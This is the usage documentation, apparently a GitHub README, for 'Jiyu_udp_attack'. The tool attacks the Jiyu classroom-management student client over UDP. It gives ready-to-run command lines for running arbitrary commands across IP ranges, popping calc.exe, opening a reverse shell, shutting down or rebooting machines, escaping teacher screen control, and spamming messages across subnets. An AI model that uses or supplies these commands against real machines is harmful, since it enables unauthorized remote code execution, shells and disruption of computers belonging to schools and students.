Jiyu_udp_attack
Jiyu_udp_attack_release
v1.5
v1.4
v1.3
v1.2
v1.1
v1.0
usage:
------------------- Github Repositories -------------------
https://github.com/ht0Ruial/Jiyu_udp_attack
[-h] -ip IP [-p P] [-msg MSG] [-c C] [-l L] [-t T]
[-e {r,s,g,nc,break,continue}]
{r,s,g,nc,break,continue} ...
positional arguments:
{r,s,g,nc,break,continue}
-e 参数的详细说明
r reboot 重启
s shutdown 关机
g 独立选项,获取当前的ip地址以及学生端监听的端口
nc 独立选项,反弹shell的机器需出网,退出可使用命令exit
break 独立选项,脱离屏幕控制,需要管理员权限
continue 独立选项,恢复屏幕控制
optional arguments:
-h, --help show this help message and exit
-ip IP ip 指定目标IP地址
-p P port 指定监听端口,默认端口为4705
-msg MSG send_message发送消息 eg: -msg "HelloWord!"
-c C command命令 eg: -c "cmd.exe /c ipconfig"
-l L 循环次数,默认为1
-t T 循环时间间隔,默认是22秒
-e {r,s,g,nc,break,continue}
Extra Options加载额外的选项 eg:-e r
使用-ip參數指定目標IP時,可以有以下幾種指定方式:
若學生端監聽埠不是預設的4705 ,則在後續操作過程中需使用-p參數指定埠
python Jiyu_udp_attack.py -e g
目前運行權限需為管理員權限,主要用於開啟MpsSvc服務
python Jiyu_udp_attack.py -e break
python Jiyu_udp_attack.py -e continue
若學生端監聽埠為4705 ,向IP位址為192.168.80.12的機器發送一則內容為"hello,baby!"的訊息
python Jiyu_udp_attack.py -ip 192.168.80.12 -msg "hello,baby!"
若學生端監聽端口為4605 ,需使用-p參數指定端口,向IP位址為192.168.80.12的機器發送一條內容為"hello,baby!"的訊息
python Jiyu_udp_attack.py -ip 192.168.80.12 -p 4605 -msg "hello,baby!"
給192.168.80.12到192.168.80.137彈一個計算器
python Jiyu_udp_attack.py -ip 192.168.80.12-137 -c calc.exe
反彈shell時,IP只能為某個機器IP,不能批量反彈,而且機器需要出網因為已經實現批量的任意命令執行,考慮到批量反彈也沒啥意義,遂不添加
python Jiyu_udp_attack.py -ip 192.168.80.12 -e nc
關機
python Jiyu_udp_attack.py -ip 192.168.80.12 -e s
重啟
python Jiyu_udp_attack.py -ip 192.168.80.12 -e r
利用循環持續發送訊息
1-254的機器會收到一條"hello,baby!"的訊息,50s後會繼續執行,共執行3次
python Jiyu_udp_attack.py -ip 192.168.80.23/24 -msg "hello,baby!" -l 3 -t 50